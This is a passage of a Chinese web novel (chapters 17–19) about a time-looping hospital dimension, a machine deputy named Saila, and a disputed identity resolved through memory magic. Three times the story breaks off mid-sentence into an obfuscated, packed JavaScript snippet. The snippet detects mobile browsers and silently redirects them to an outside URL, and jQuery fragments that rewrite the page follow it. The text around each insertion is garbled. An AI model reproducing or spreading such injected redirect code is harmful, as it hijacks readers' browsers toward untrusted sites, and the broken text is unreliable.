“你还记得那个陀螺仪一样的东西吗?它由一根圆柱和圆柱周围的环形主体组成,环形主体由很多个拟态黄金制成的正方体小房间焊接在一起。由于角度特殊,锚点站在房间里,从窗户向外望去,看不到旁边的房间,只能看见圆柱塔,但看不到塔顶。”
“圆柱模拟了观测者的视线,让锚点时时刻刻觉得自己被观察。于是锚点立刻变化,从这个房间消失,来到下一个房间。窗外的圆柱依旧在散发观测的视线,锚点继续变化,进入下下个房间,陷入无穷的循环。”
“房间里的拟态黄金感受不到房间外圆柱的视线,只能感到屋内锚点的视线,所以锚点不在房间时,房间里的装修会不断变换造型,锚点一进房间,房间造型立刻固定。”
“最终,锚点在环形主体的一个个小房间中不断穿梭,但它察觉不到这是一个环形建筑,因为拟态黄金在不断改变房间内软装,它永远回不到那个起始的房间。”
“它在无限空间内不断向前跑,无论如何也逃不开那道视线。它终日目睹那根巨大的圆柱塔,却看不到塔顶。终有一天,即使圆柱失去作用,视线失效,它也会以为观测者坐在塔顶注视着它,而它永远是向前奔跑的亡命之徒。”
储适新的镜片反射着白光,他说:“这就是全景监狱,无法打开的监狱,没有钥匙的监狱,让囚犯自我囚禁的监狱。”
凄辞暮不懂:“锚点现在被囚禁在黄金宫不是挺好的吗?”
“你不明白。”储适新幽幽地说,“全景监狱最大的用处是阻止设计者本人打开它。”
“我很害怕,我怕未来的某一天,我突然产生打开它的想法,变成另一个人。”
那是凄辞暮第一次在父亲脸上看到恐惧,由内而外的、发自内心的恐惧。
17. 一日谈
朝暮从梦中惊醒,回忆定格在储适新的眼镜反射出的光中,她无法透过镜片看清储适新的眼睛。她一直觉得,父亲当时的情绪不仅是恐惧,还有她无法理解的期待和紧张。
他在期待什么?又为了什么而紧张?
塞拉的声音在耳边响起,打断思绪:“欢迎醒来,会长,您现在的位置是一日谈维度的医务室。”
朝暮这才发现,自己躺在医疗舱中,周身□□地泡在蓝色营养液里。医疗舱中的液体被抽空,她打开盖子爬出来,感觉浑身酸痛。
“灵真很担心您,怕维度重启时您醒不过来,一直嚷嚷着要把您送到非想非非想治疗。”
一日谈维度是朝暮一年前带领自由冒险者协会开垦的灵异维度。从表面看,一日谈是一座空间无限扩张的医院。
实际上,一日谈是个循环空间,除有自我意识的智慧生命外,维度内所有物体会在24点回归到昨天24点的状态。所谓的“无限扩张”也是以智慧生命的精力甚至生命力为代价,所有扩张行为都必须经过塞拉周密的计算才能进行。
在循环判定中,昏迷的朝暮也被视为“物体”,会被重启,恢复到昨天24点整的状态,如果昨天24点她不在维度中,则恢复至她刚进入维度时的状态。也就是说,朝暮要是一直醒不过来,营养液就白泡了,24点一过,她重新变得一身伤。
难怪灵真着急,想把她的会长送到最优秀的科技维度治疗。
朝暮哑着嗓子说:“给灵真报个平安,新接收的奴隶们怎么样了?死伤多吗?我昏迷前听见章语在叫姐姐,是张涵薇出事了吗?”
塞拉把事情从头到尾讲了一遍,包括目前的进展:“……新生的潘德莫维度被我接到一日谈附近的维度缝隙中,会里的医生借助医疗器械远程诊断出张涵薇已经脑死亡。”
朝暮沉默了片刻,问:“我和厉暝结盟时,你对她们姐妹有印象吗?”
“肯定没有印象,当时厉暝不允许我接入他那边的数据库。”塞拉彬彬有礼地提醒,“您被他迷得七荤八素,竟然同意了,这件事我至今无法理解——”
“好了,别说了!”朝暮按住太阳穴,“我为以前没有帮你争取到应得的权益而道歉,但咱们之前说好了,不要动不动提厉暝……对了,我在潘德莫见到一个长得和厉暝一样的男人,他是不是没死?”
“确实没死。”塞拉的机械女声模拟出欲言又止的情感,“但是,他真的不是厉暝吗?”
“为什么这么问?”朝暮有种不详的预感。
“他没死是因为他的能力——无相魔。”
无相魔,身体由虚无的情感组成,被瞬间产生的丰富感情控制,可以任意变成拥有者想象中的样子。厉暝曾告诉她,这是他独有的能力,他是世界上最后一个无相魔,他的家人死在某个遥远的修真维度,被所谓的名门正派灭门了。
连后来投奔他的弟弟厉希臣都不具备无相魔能力……朝暮猛然回神:“你确定?”
“确定,以及肯定。组成他身体的物质经检验得到的数据和厉暝当年留下的数据重合率高达99.8%,剩下0.2%的不同可能是因为两人近期摄入的食物不同。”
“吃的东西还会影响无相魔能力吗?”朝暮震惊,她以为无相魔的修炼只需要强烈的情感。
“您的情感矩阵或许也需要更新了,会长。”塞拉礼貌建议,“我刚刚使用比喻的修辞手法,将他和厉暝被您激发的强烈情感波动比喻成美味的食物,并不是说物理意义上的瓜果蔬菜能影响无相魔的能力。”
确实如此,厉暝被朝暮激发的全是正面情感,他们当时在谈恋爱。而那个有阿草记忆的男人当时以为朝暮要死了,他陷入恐惧和悲伤中,全是负面情感,但阴阳差错下控制了无相魔,身体变成虚无状态,十指砍不伤他。
朝暮后知后觉:“你怎么有厉暝无相魔状态下的身体数据?”
“因为我叛逆,您当年被厉暝迷得七荤八素,我想要无相魔数据被他拒绝,您竟然也帮他拦着我,幸亏我叛逆,偷偷收集数据——”
“好了好了!”朝暮狼狈打断塞拉,“我道歉!我道歉!你不许再提了!”
塞拉调用情感矩阵,发出一声很人性化的“哼!”,总算不再提厉暝。
朝暮说:“潘德莫的规则如此苛刻,我能顺利进入肯定是个陷阱,但不知道从哪个环节开始出的错。总之,你要盯紧我和灵真一路上遇见的几个人,李敬、章语、阿草……先叫他阿草吧,他们都有嫌疑,但不要把人家当成嫌疑人对待,我们讲究疑罪从无原则。很可能根本没有嫌疑人,是我和灵真自己暴露的行踪。”
塞拉意外地沉默一会,然后问:“会长,您觉得谁的嫌疑最大?”
“那还是阿草吧,不能是章语,人家姐姐都没了。不过我总觉得阿草不是什么坏人,坏人不可能舍命救我,估计是被厉暝整容后植入记忆的可怜奴隶。但是你的问题好奇怪,你刚才的沉默也好奇怪,语言矩阵卡壳了吗?”
朝暮警惕极了,老话说孩子静悄悄必定在作妖,塞拉这种级别的智械体,她的语言矩阵不可能出问题,她刚才的沉默肯定是一种心虚的表现,一定发生了某件,不,某些她和灵真都不想让朝暮知道的事。
于是朝暮严肃地问:“发生什么了,你怎么心虚了?”
“不是什么大事,就是我和灵真一致决定把那位……阿草当做嫌疑人关进监狱里。”
.
一日谈的监狱中,阿草双手双脚都被拷住,憋屈地蜷缩在小小的牢笼里。他闭着眼睛,忍受旁边传来的噪音。
“嘿,兄弟!你是怎么进来的?犯了什么事?你怎么不说话呀?害羞吗?转过来聊聊天,别总背对着我。”
真是聒噪的狐狸,阿草想。
“自我介绍一下,我叫林奇,以前给世纪互娱干活。潘德莫真人秀看过吧?就是世纪互娱播的!我是世纪互娱的总台大哥,管着所有接线台,厉害吧?”
阿草很久没喝水,声音沙哑:“那不就是个接电话的吗?”
“什么呀!”林奇急了,“哥们你识不识货?我那职位叫总台管理员!手底下管着好几个小的,不管是策划部还是运维部都得看我脸色,给我面子。”
阿草有心逗他:“哦?那你具体负责什么呢?”
“我管的可多了!你是不是很喜欢看真人秀直播呀?告诉你一个秘密,潘德莫上空的太阳月亮都是假的,是世纪号飞艇伪装的!论坛上没这么大的料吧?我爆给你了!你知道为什么吗?”
“咳咳……为什么?”阿草的喉咙很不舒服。
“当然因为我就是负责操控假太阳的人啊!我每天最重要的工作就是负责太阳月亮的转换,我跟你讲,多一分钟不行,少一分钟也不行,很考验人的!”
“除此之外呢?”阿草真的很好奇。
“呃……我管着好几个分台的人,主要负责指挥他们工作,然后电话来了接听一下,把离谱的安保队骂回去。”
阿草疑惑:“怎么把世纪号伪装成太阳?好先进的技术。”
“好、好像叫什么光幕,不对,哥们你问这么多干嘛?你是自由冒险者协会的人吧?假装成俘虏呆在我隔壁,和我聊天降低我的戒心,想从我口中套取情报?没门!我告诉你,我始终忠于厉暝总裁!”
“别闹了。”阿草终于不耐烦了,他不想哄小动物,“厉暝那种人无耻到拿自己的奴隶威胁别人,赌别人的善心,他不可能来这里救你一只小狐狸。”
“你怎么知道我是狐族兽人?!”
阿草连动都懒得动:“别拿爪子蹭脸了,你整得其实不错,花了不少钱吧?但你说话的语气和神态都还是兽人的样子。真想改变种族有漫长的路要走,你得和人类多接触,最好交个和你性格相似的人类好友,模仿他的一举一动,和他同吃同住。”
“你说的……你说的太好了!太对了!”林奇竟然呜呜哭了起来,“是不是因为我整容完还像个兽人,所以没有人类愿意做我的朋友?兄弟,咱俩做朋友吧!你教教我人类到底是什么样子!”
“我教不了你。”阿草懒洋洋地拖长音,“因为我是狗呀——”
“啊?”林奇懵了,然后更激动,“什么?你的意思是你原来是狗族兽人?你的整容医生是谁?可以介绍给我吗?你说话的语音语调和语气怎么练的?求求你了,教教我吧!让我做什么都可以!”
阿草欺负傻狐狸欺负出一种罪恶感,他忍不住问:“你不叫林奇吧,兽人的名字都很长。”
“……一定要说本名吗?”林奇扭扭捏捏的,“林奇多好听,我喜欢这个人类名字。”
“不想说就算了,咳。”阿草闭上眼睛,“那就睡觉吧,晚安。”
“我说!我说!好兄弟你别睡!我叫灵奇.赤红,是个狐族兽人,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14959154|160626||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
最早和姐姐在γ28-B维度生活,据说我们的曾奶奶是远山部落的狐狸,当然那是逐兽远征前的事了。兄弟你叫什么?从哪来的?以前是哪个部落的?远山部落好像有狗族兽人,我们可能是老乡!”
太聒噪了,也太天真了,小狐狸恨不得把底裤扒出来给阿草看看是什么颜色。阿草抓住他话中的重点:“你有姐姐?殿下的耳麦里出现过一个叫灵真的人,你们是什么关系?”
“灵真是我姐姐!”灵奇痛快承认了,丝毫没有掩饰一下的打算。
阿草的双目猛然睁开,一下子变亮。姐姐没杀死对立阵营的弟弟,而是俘虏了他,那么这里肯定不是死牢,他还有出去见到殿下的可能。他的殿下一定不知道他被关在这里,只要给他一个机会,让他见到殿下,他就能说明自己的来历,打动殿下,回到殿下身边。
他问:“你姐姐关你前和你说什么了?比如什么时候送食物和水?我们是不是有放风时间?这监狱也太窄了。”
灵奇努力回忆,结结巴巴地说:“她说、说什么树、树点望诅,这是什么意思,一种诅咒吗?”
“树点望诅?”是数典忘祖吧,笨狐狸没救了。
“哐当——”
一个戴着红色臂章的人出现在栅栏外:“别聊天了,维度马上重启,你们俩双手抱头,蹲在原地面相我,保持清醒状态!”
清醒状态?阿草转了转眼珠,那要是不清醒怎么办?他是不是会被送去医务室,有机会见到殿下?
阿草咣当一声倒在地上。
可惜他作为囚犯没资格看维度简介,所谓的“保持清醒”,只是防止重置的手段而已。
【维度名称:一日谈
特征分类:无限扩张循环型
现象描述:一日谈维度现由自由冒险者协会直接管理。每日20:00前需完成当日商业订单结算,23:30启动强制疏散程序。安保人员须佩戴红色记忆稳定臂章,防止认知污染,主供电系统连接至副会长塞拉制定位置以维持恒定时间锚点。注意!所有使用维度无线扩张特性的行为必须经过会长朝暮的签字,经过塞拉副会长的计算,在灵真队长的监督下进行!该特性极其危险!
一日谈维度原名夜兰综合医院,占地2.3平方公里。其异常效应表现为每日24:00启动全域时空重置,除清醒的智慧生命外所有物体回归昨日24:00状态。经测试,深度昏迷患者被判定为“物体”。重置范围包含建筑结构、医疗设备及维度内所有外来物品,记忆保留仅限于保持清醒的智慧生命。
自由冒险者协会接管后开发出七种商业化应用模式:
1.医疗服务与医疗场地提供(代号:普罗米修斯)
提供理论意义上无风险的医疗服务,适用于重病患者及高危手术需求者。一日谈维度向您提供专业麻药,保证麻醉时长大于等于二十四小时。若手术成功,则安排专人送您离开维度;若手术不成功,则保证您在无意识的状态下度过当晚24点的重置,回到进入维度前的身体状态。
收费标准:单项目300,000.00/日,长期合作享“套餐价”。
2.时间敏感型数据处理(代号:达芬奇密室)
可销毁的绝对安全机房,承接包括:加密货币私钥破解;政要丑闻数据清洗;高机密级军事情报分析。
自由冒险者协会副会长塞拉为您服务,诞生自平面国的智械体值得您信任。
收费标准:面议,拒收任何金钱或代币。
参考价:0.5kg武器级稀金浓缩物或等值稀有能源类资产
3.贵重植物无土栽培项目(代号:德墨忒尔)
使用无土栽培技术种植贵重植物,或移植成熟植物至一日谈内,利用一日谈维度的重置特性不断重复摘取成熟的果实,目前已种植成功尸香魔芋、血龙木、克拉丽丝玫瑰与返魂香。
全宇宙收购经济价值高的作物种子,详细事宜请联系灵真.赤红。
有种子你就报!是种子我就要!电话一响我就到!——灵真.赤红
4.VIP驻留服务(代号:俄耳甫斯)
为顶级客户提供“时间夹层”体验,可无限重复某日,注意:需签署严格协议。
基础套餐:30,000,000/周(现实时间)
尊享服务:定制化末日场景或灵异场景体验,欢迎团队前来报名!】
18. 处理我吧
阿草出了监狱,右手边是一块巨大的牌子,牌子后面充斥着浓郁的黑暗。
【警告!前方为未扩张区域,禁止越过此牌!越过此牌将导致精力被迅速吸收,严重时危及生命!一日谈维度为无限扩张循环维度,每日24点重置,请保持清醒!】
朝暮从他身后走出来,一脸担忧:“去医务室看看吧,你刚刚都晕倒了。”
“没……也不是……”阿草摸了摸微肿的脸颊,“算了,去看看吧。”
监狱里传来灵奇的咆哮声:“厉暝就这么出去了?为什么他都能出去,我不能出去?”
阿草把狐狸叫当背景音:“虽然我不知道自己为什么没死,但我真的是阿草,我有办法证明。”
“怎么证明?”
“不信你摸/摸/我!”阿草响亮地回答,监狱里的咆哮声突然消失了。
朝暮:“……”
“真的!摸一下都能想起来,不信你试试!”阿草锲而不舍。
朝暮不理会他,阿草的注意力很快被走廊两边的诊室吸引。
他们步行在一条蓝白相间的走廊上,头顶是冰冷的条形白炽灯,两侧是密密麻麻的诊室,这里明显是一座医院,诊室里却种满了植物,鼻腔里盈满花朵和果实的奇异香味,人类、兽人和机器人穿梭在诊室间,忙得脚不沾地。
阿草忍不住问:“他们在忙什么?”
“维度刚重置完,他们在给尸香魔芋喂食。”
“滴滴——请让一让!”矮小肥胖的土拨鼠兽人坐在扁扁的机器上运送不断扭动的人造肉,机器驮着一人高的巨大肉块从阿草面前经过,驶向耳鼻喉科诊室。
“他不会摔倒吧?”阿草侧身让出一条路。
阿草话音还没落下,机器的轮子就卡进瓷砖缝。
“吱呀——”后轮空转发出刺耳的噪音,强大的惯性把可怜但肥胖的土拨鼠向前甩出去。
“你个乌鸦嘴!”土拨鼠在空中怒吼,他的正前方,一朵漂亮素雅的花突然长出嘴巴,张开血盆大口,准备享用大自然的馈赠。
朝暮赶紧抓住土拔鼠,阿草一把扶住人造肉块,肉块如海肠般蠕动。
“谢谢会长,您从外面回来了?”土拨鼠转身确认肉块平安无事,抬头道谢,“也谢谢乌鸦嘴——”
矮小的土拨鼠愣在原地,两只爪子僵在胸前,下一秒,巨大的尖叫声从他嘴里炸开:“啊!是厉暝!”
周围人都被尖叫声吸引过来。
“厉暝?”
“我听老成员说过,是会长从前的盟友,不是什么好人。”
“大骗子!”
“他怎么在这?”
走廊并不宽,人越围越多,阿草不知所措。
“不是厉暝。”虽然没能确定阿草的身份,但朝暮还是替他解围,“他来自潘德莫,还救过我,只是被厉暝整容成这个样子。”
大家恍然大悟,议论纷纷。
“厉暝是自恋狂吗?把无辜的人整得和他一模一样,变/态吧?”
“怪可怜的,顶着这张脸怎么在一日谈生活?”
“还以为厉暝被抓了,我哥哥就是他害死的……”
“大家早点休息!”朝暮大声打断他们,“从潘德莫来了一群新同伴,维度空间不足,需要进一步扩张,欢迎报名扩张队!”
人群作鸟兽散。
朝暮赶紧把阿草拉走了,远离种植区后才解释:“维度里大部分人曾经是奴隶,一些老成员经历过我和厉暝的结盟时期,被厉暝骗过,家人朋友被他害死,很敌视他。”
她看了一眼蔫头耷脑的阿草,叹气:“所以你不要独自一人在维度里乱逛,给你安排个离我近的房间吧。”
走了一会,阿草注意到,一模一样的耳鼻喉科再次出现在走廊右侧,但里面没有食人花,也没有忙碌的员工,只有一排排服务器,诊室被当做机房使用,他问:“这是一座无限大的医院吗?扩张队又是什么?”
“对,理论上来讲,一日谈可以无限扩张,但维度扩张需要吸食智慧生命的精力,扩张越大吸食越多,呈几何倍增长。扩张到如今的位置,就是你刚才看见的那块牌子,维度需要吸食的精力到了一个夸张的数字,如果精力不足昏倒在黑暗中,生命力都会被吸干。”
机房散热器工作时发出轰鸣的噪音,朝暮不得不提高声音:“扩张需要提前经过计算,安排足够多的人轮班进入黑暗,进行高脑力或强体力劳动,为维度提供足够多的精力,同时安排不眠者安保队和医疗队在旁边守护。这项工作有一定危险,能拿到很高的报酬。”
阿草若有所思:“我能加入扩张队吗?”
“要考试的。”朝暮把终端机递给他,上面是维度简介,“最起码要熟背维度简介,记住安全守则。”
【维度名称:一日谈
特征分类:无限扩张循环型
现象描述:一日谈维度现由自由冒险者协会直接管理。每日20:00前需完成当日商业订单结算,23:30启动不眠者巡查。不眠者小队严格遵守8小时三班轮换制度,必须佩戴红色不眠者臂章,时刻保持清醒。
注意!所有使用维度无限扩张特性的行为必须经过朝暮会长签字,塞拉副会长计算,在灵真队长守护下进行!该特性极其危险!
一日谈维度原名夜兰综合医院,其异常现象表现为每日24:00启动全域时空重置,除清醒的智慧生命外,所有物体回归昨日24:00状态。经测试,熟睡者及昏迷者被判定为“物体”。
自由冒险者协会接管后开发出四种商业化应用模式:
1.医疗服务与医疗场地提供
提供理论意义上无风险的医疗服务,适用于重病患者及高危手术需求者。一日谈维度向您提供专业麻药,保证麻醉时长大于等于二十四小时。若手术成功,则安排专人送您离开维度;若手术不成功,则保证您在无意识状态下度过当晚24点的重置,回到进入维度前的身体状态。
收费标准:单项目3,000,000.00/日,长期合作享套餐价。
2.时间敏感型数据处理
可销毁的绝对安全机房,24小时后自动恢复所有数据,承接包括:加密货币私钥破解;政要丑闻数据清洗;高机密级军事情报分析。
自由冒险者协
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14986974|160626||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
会副会长塞拉为您服务,诞生自平面国的智械体值得您信赖。
收费标准:面议,拒收任何金钱或代币。
参考价:0.5kg武器级稀金浓缩物或等值稀有能源类资产。
3.贵重植物无土栽培项目
使用无土栽培技术种植高经济型植物,或移植成熟植物至一日谈内,利用一日谈维度的重置特性不断重复摘取成熟的果实,目前已种植成功尸香魔芋、血龙木、克拉丽丝玫瑰与返魂香。
全宇宙收购经济价值高的作物种子,详细事宜请联系灵真.赤红。
有种子你就报!是种子我就要!电话一响我就到!——灵真.赤红
4.VIP驻留服务
为顶级客户提供“时间夹层”体验,可无限重复某日,注意:需签署严格协议。
基础套餐:30,000,000/周(现实时间)
尊享服务:定制化末日场景或灵异场景体验,欢迎团队前来报名!】
两人沿着一间间机房向前走,朝暮温和地说:“至今为止,我们解救的奴隶大多愿意留下来工作,或者在一日谈停留一段时间再离开。如你所见,因为维度的特殊性,我这里有一批很优秀的医生,等他们做出诊断,帮你恢复记忆,你也可以离开。”
阿草的听觉系统仿佛只能接收到“离开”两个字,他瞬间红了眼眶,大声问:“你要赶我走?”
“到了。”朝暮没正面回答。
阿草敏感地察觉到,朝暮一直带着他向外走。如果把一日谈比喻成一条没有尽头的射线,一段又一段复制粘贴般的诊室是射线上的线段,那么用作医疗功能的线段一定最靠近原点,也就是出入口。
一位短发蓝眼睛的中年女性忽然推开诊室的门:“会长,很远就听见您的脚步声。”
其实听见的是阿草的喊声,朝暮点头示意:“晚上好,约兰达医生。”
她为阿草介绍:“这位是约兰达.约尔加,出身于珈蓝维度的记忆术士,在平面国完成了应用心理与记忆交互专业的进修,然后留在导师身边读博,获得博士学位后还做过五年讲师。”
约兰达夸张地掩住嘴:“您记得好清楚,我很荣幸。”
朝暮紧紧盯着阿草的眼睛:“约兰达医生的专业性毋庸置疑,你可以完全信任她。”
“谬赞了。”约兰达很谦虚,身上有种魔法维度老派贵族的谦和,“我在平面国也只是一名小小的讲师。”
“她就是太谦虚。”朝暮说,“如果她不公开支持兽人与人类的基因共祖研究,职称早就评上去了,不可能跑我这小地方当医生。”
约兰达矜持地抬高一点下巴,阿草突然释然了,他说:“我全力配合,想查什么就查什么,把我的脑子翻个底朝天都行。”
“但是,”他的声音沉下去,“如果我没有被植入记忆的痕迹,也没有整容的痕迹。”
阿草停顿片刻,近乎一字一句地问:“您要如何处理我?”
“会长。”他不怀好意地补上敬语,又摆出一副破罐子破摔的态度。
朝暮看得很清楚,他说出来的是会长,口型分明是殿下。
19. 秘密基地
“你看起来很有自信。”朝暮摩挲着刀锷,“你是不是知道什么?比如你为什么是个无相魔?”
“那是什么?”阿草的茫然不像装的。
约兰达带着他们进入诊室:“阿草先生,我们只是做一次记忆回想,没有必要上升到‘处理’二字。我的诊断结果也没有权威到能当作判决书的程度,毕竟记忆植入和容貌更改的技术经过迭代已经能以假乱真了。”
约兰达挥舞法杖,一段第一人称视角的记忆浮现在桌面上,像是在脑后架了台笨重的摄像机,只能看见镜头前的一点东西。记忆的拥有者在魔法学院上课,面前是女同学的后脑勺和举着魔药的白胡子老教授,女同学头饰上的郁金香模模糊糊的,看不清细节。
“这是最早的记忆植入技术,是不是像纪录片一样?技术老旧、固定视角、没有情绪波动,一眼能看出是假的。真实记忆是多角度带有情感的,情感丰富且矛盾,贴合记忆拥有者的性格。”
朝暮感兴趣地问:“现在的技术呢?”
她在潘德莫看见的阿草记忆情感很丰富,不做人的破罐子破摔、儿时的痛苦、对奴隶制的恨意、不管不顾的浑劲、天生的无法泯灭的善良和被她买走时的快乐都混在一起,真实到不能更真实。
“现在的技术也无法提取记忆拥有者情感。”约兰达实事求是,“但不少记忆术士会在提取过程中模拟拥有者的感情,用自己的感情加工记忆,比如这样。”
约兰达再次挥舞法杖,死水般的画面突然活动起来,依旧是第一人称视角,微微向下瞟,左手藏在桌肚里,攥着一颗半融化的巧克力,视线又向上瞟,老教授转身在黑板上写字,左手赶紧抓住巧克力塞进嘴里。
一时间,巧克力的甜味、前排女同学郁金香头饰的香味、讲台上魔药的臭味混合在一起,记忆拥有者边享受甜甜的巧克力,边回味在古板教授眼皮子底下偷吃的喜悦,边被香臭混合的味道熏得掩住口鼻。
“太真实了,谁能想到这是假的!”朝暮感叹。
阿草不高兴:“那么你们记忆术士说什么就是什么了?你说是假的就是假的,反正假的和真的看着也没区别。”
“并非如此。”约兰达没有丝毫不悦,“记忆术士只能根据短短的片段揣测拥有者当时的心境,模拟出感情。实际上,真正记忆中的感情和植入记忆是完全相反的。这是一位校园霸凌案的受害者,她吃的巧克力是前排女生给的‘解药’,女生一直控制她,声称不听话就不给解药,她最终自杀了。”
阿草沉默片刻才问:“后来呢?皇家法院有没有给她找回公道?”
“人已经死了,没有用的。”约兰达垂下眼帘,岁月在她眼角留下的痕迹相当明显,三道细纹苦涩且深刻。
“她是……”
“我女儿。”
阿草不知道说什么好,约兰达很快岔开话题:“所以判断记忆是不是植入的最好方式,就是拿事件亲历人的记忆作对比,如果记忆是植入的,和真记忆放在一起看肯定会露馅。”
约兰达拉开一个双人座治疗椅,示意他们躺在上面,又给他们戴上头盔形状的监测仪器。
阿草自然地想去牵旁边人的手,被躲开了。
“不是通过身体接触的方法触发。”约兰达说,“我会帮助你们一起回忆相同时间点的经历,让你们的记忆联通,准备好了吗?”
蓝眼的记忆术士举起法杖。
.
凄辞暮买回阿草的第二周就把他带去秘密基地。
阿草前一天晚上得知要去秘密基地,激动得没睡好觉,结果一到基地就傻眼。
“就是这里?”
“对。”
所谓的秘密基地不过是一个地下储藏室一样的小空间,凄辞暮问:“我挖的,厉害吧?”
“那确实挺厉害的。”阿草诚心诚意地说。
黄金城连地基都是黄金,不过是纯度不高的沙金,凄辞暮靠能力直接熔化的部分不多,她挥舞铲子凿子边熔边挖,不知道挖了多少个晚上。
“更厉害的是,这里能连上外面的网。”凄辞暮递给阿草一部终端机,“宫殿里的网连上也不敢随便玩,丹玛斯天天盯着后台记录,随时准备告状。”
“变/态吸血鬼!”阿草大声说。
“变/态吸血鬼!”凄辞暮模仿语气复述,连声音都变粗了,听上去和阿草一模一样。
“有什么不能让丹玛斯看见的好玩的?”
“我在一个绿油油的网站上看过一篇小说。”凄辞暮还没说出小说名字就开始笑,“哈哈哈哈叫替身重生:三角形霸总的……不行了我说不出口……”
“什么好东西?给我鉴赏一下。”阿草抱着终端机边看边狂笑,他还要大声朗诵,“那一天,她喘/息着,边用尖角戳我的边,边命令我不许把对角朝向她……”
他注视着凄辞暮的眼睛,深情模仿:“你是宛宛,我才是卿。”
两个人笑着倒在地毯上,然后凄辞暮向阿草展示她的军/火/库。
“最新款全息游戏头盔,和万化维度合作的,十八剑仙倾情代言,不用费力修炼也能做剑仙。”她介绍,“刚出来让晓晓帮我买了,但没法偷渡进宫,一直在她那里放着,前几天才拿过来。”
头盔的盒子上印着十八位各有特色的剑仙,他们或站或坐或卧,手里拿着本命剑,都是一副世外高人的样子。
“晓晓也知道秘密基地?”阿草对剑仙没有兴趣。
“不知道,怎么了?”
“没什么,我只是问一问。”阿草含糊回答,他不喜欢凄毓晓,虽然才见过一面,但他总觉得殿下的这位妹妹有点茶茶的。
几天前的晚上,凄辞暮把晓晓召进宫,说是和同龄人交流学业,其实是想和妹妹一起玩新买的小狗。丹玛斯竟然没找借口阻止,阿草的狗乐园第一次来了客人。
晓晓抱着阿草一顿猛揉,摸到肚皮时,她问:“殿下,小公狗是不是要做绝育呀?我认识靠谱的兽医——呀啊啊啊!”
“保护殿下!”丹玛斯带着一群人破门而入。
凄辞暮赶紧解释:“阿草叫了一声,把晓晓吓到了,没事,散了吧。”
“对不起,殿下,是我太胆小了。”晓晓快哭了,“阿草没做错什么,它只是叫了一声,我就尖叫出声。”
然后晓晓真的哭了出来:“呜呜呜……我胆子这么小,没有姐姐可怎么办呀?真想天天都和姐姐呆在
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14992311|160626||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一起!”
“你讨厌晓晓?”秘密基地中,凄辞暮敏锐察觉到阿草的情绪。
她解释:“晓晓这么说无非是想把身边人介绍给我,我不会把你带去绝育的。”
阿草蹲在地毯上,由凄辞暮给他戴头盔,他的声音闷在头盔里,有点失真:“不是因为这个。”
“那是因为什么?”凄辞暮思考一会,恍然大悟,“难道因为她摸你肚皮?”
凄辞暮一点也没客气,把阿草四脚朝天按在地毯上疯狂揉搓:“你肚皮还摸不得了?”
两个人再次笑着倒在地毯上,头盔歪在一旁。
“把你先介绍给晓晓是有原因的。”凄辞暮说,“晓晓只要来宫里一次,回去会把吃过的见过的玩过的全大肆宣扬一遍,所有人都将知道你是我养的小狗,我以后好带你出去。”
“我当时不如直接咬她一口。”阿草翻着肚皮说,“坏脾气传出去,没人敢再提绝育的事。”
“真咬她,丹玛斯先把你绝育了。”
“你要带我去做什么?”阿草用毛茸茸的温热肚皮贴紧她的小腿。
“去咬人。”
“……给丹玛斯绝育我的机会?”
“当!”一声巨响突然从秘密基地的入口处传来,两个人一起冲过去看。
“当!”又是一声。
阿草望着脚下的深渊,后退一步:“来的时候我就想问,下面是什么呀?”
所谓的秘密基地建在宫殿边缘一个深不见底的大坑中,凄辞暮在离地面30米左右的坑壁上挖出一个洞,洞里用黄金加固一遍,洞门拿幻象符一掩,就叫它秘密基地。其实一点也不秘密,更算不上什么基地,比狗窝大不了多少。
阿草打开终端机的手电功能向下照,根本照不透黑暗。
“别照了。”凄辞暮把终端机从阿草嘴里拿出来,“我之前一时兴起,向下飞了两个小时都没到底,差点赶不回来。”
阿草吓一大跳:“两个小时!”
夜晚一来一回共四个小时,公主殿下白天还要学一堆难啃的课程,什么国家之治、宏观经济学、维度地理学,学完这些继续练剑,比格犬阿草很佩服她的精力。
“咔嚓咔嚓咔嚓——”细密的、刺耳的声音替代当当声,回荡在深坑中,凄辞暮和阿草面面相觑。
“老鼠吗?”凄辞暮疑惑,“和晓晓养的仓鼠啃坚果时的声音差不多。”
阿草的大耳朵贴着地面,仔细听了一会,直到那声音微弱下去。
“殿下。”他抬头喊。
“怎么了?”
“我们放一根绳子下去吧。”
“你怀疑下面有人?”凄辞暮抿了抿嘴唇,“有人也爬不上来——”
“就当是我的请求,殿下!”阿草打断她,“不用太长的绳子,只要有一根。”
“好吧。”凄辞暮妥协了。
她用能力穿梭回宫殿的仓库拿了根粗麻绳,一端牢牢绑在秘密基地里,另一端垂落进深坑的黑暗中。
